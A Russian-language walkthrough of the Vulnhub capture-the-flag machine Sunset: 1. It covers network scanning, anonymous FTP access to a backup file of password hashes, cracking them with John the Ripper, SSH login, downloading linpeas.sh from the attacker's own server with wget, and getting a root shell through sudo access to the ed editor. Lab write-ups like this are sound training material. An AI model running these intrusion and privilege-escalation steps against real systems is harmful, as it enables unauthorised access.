Vulnhub. Прохождение Sunset: 1
HackTheBox — популярная площадка среди специалистов информационной безопасности, проводящих тестирование на проникновение. Однако существуют не мене интересные CTF площадки для проверки и тренировки своих навыков, которые подойдут как начинающим, так и опытным пентестерам.
Одной из таких площадок как раз является Vulnhub. Правда, на этом ресурсе выкладывают только виртуальные машины, и там можно найти целые серии виртуальных машин. Сегодня мы поговорим о серии Sunset и рассмотрим первую ВМ (sunset: 1).
Сканирование
Начинаем с определения ее IP адреса. Это можно сделать при помощи команды:
netdiscover
Адресом нашей цели будет 192.168.1.153. Мы узнали адрес, теперь можно запустить nmap. Для сканирования nmap’ом я использую следующую команду:
nmap -sC -sV -oN sunset-1 192.168.1.153
Где sC отвечает за сканирование с использованием скриптов, sV — за определение служб и их версий, и oN — за вывод в файл (чтобы потом не пришлось сканировать заново, если чего вдруг случится).
Поиск точки входа
Мы видим, что на целевом хосте открыто 2 порта: 21 (FTP) и 22 (SSH). Также у нас есть возможность авторизоваться как анонимный пользователь.
Подключаемся к ftp:
ftp 192.168.1.153
При этом используем логин: anonymous и пароль: anonymous. Командой ls проверяем содержимое папки, видимо кроме файла backup здесь ничего нет. Доступ к backup’у у нас есть, так что стоит в нем покопаться. Скачиваем этот файл командой get.
В backup’е мы находим логины и хешированные пароли (в духе CTF).
Вариантов у нас не особо много, видимо стоит попробовать их «крякнуть». Крякать пароли мы будем с помощью нашего друга John’а (John the Ripper или просто John) по словарю rockyou.txt. Для этого я использую следующую команду:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
И да, найденные хеши я сохранил в отдельном файле hashes. В результате работы Jhon’а, мы получаем пароль cheer14 для пользователя sunset. Результаты работы Джона можно также посмотреть командой show к файлу с хешами.
Получаем доступ пользователя
Теперь у нас есть пароль пользователя, и нам нужно его использовать. На машине был открыт SSH, так давайте попробуем к нему подключиться с имеющимися учетными данными.
ssh sunset@192.168.1.153
И вот мы внутри. Осматриваемся с помощью команды ls -la и видим, что мы в домашней директории пользователя и тут же лежит флаг user.txt.
Повышение привилегий
Теперь нужно получить права суперпользователя. Для этого мы можем использовать linpeas.sh (скрипт для поиска ошибок в конфигурации, логинов и паролей в открытом виде и т.д.), который предлагает возможные векторы атаки для повышения привилегий. Скачать этот скрипт можно на гитхабе.
Для того, чтобы скачать его на целевую машину нужно поднять сервер. Делаем это с помощью питона:
python3 -m http.server 80
На целевой машине прописываем
wget http://192.168.1.68/linpeas.sh
Скрипт успешно скачан. Теперь нужно сделать файл исполняемым, и можно запускать.
chmod +x linpeas.sh
sh linpeas.sh
После выполнения скрипт подсветит красным текстом с желтым фоном возможные векторы атаки
Скрипт нам говорит, что мы можем использовать ed справами root’а без использования пароля. Но даже без помощи скрипта мы можем проверить доступные к выполнению команды от имени root, просто написав в консоли
sudo -l
Нам доступен текстовый редактор от имени суперпользователя.
Идем на GTFObins, ищем там наш текстовый редактор и выбираем команду для получения шелла.
!/bin/sh
И теперь мы получили права root.
Переходим в домашнюю директорию root’а и забираем второй флаг.
Вот такую, достаточно простую коробочку мы сегодня открыли. Она как раз подходит для начинающих, но спроектирована больше для CTF. На практике такое редко встречается, если вообще встречается.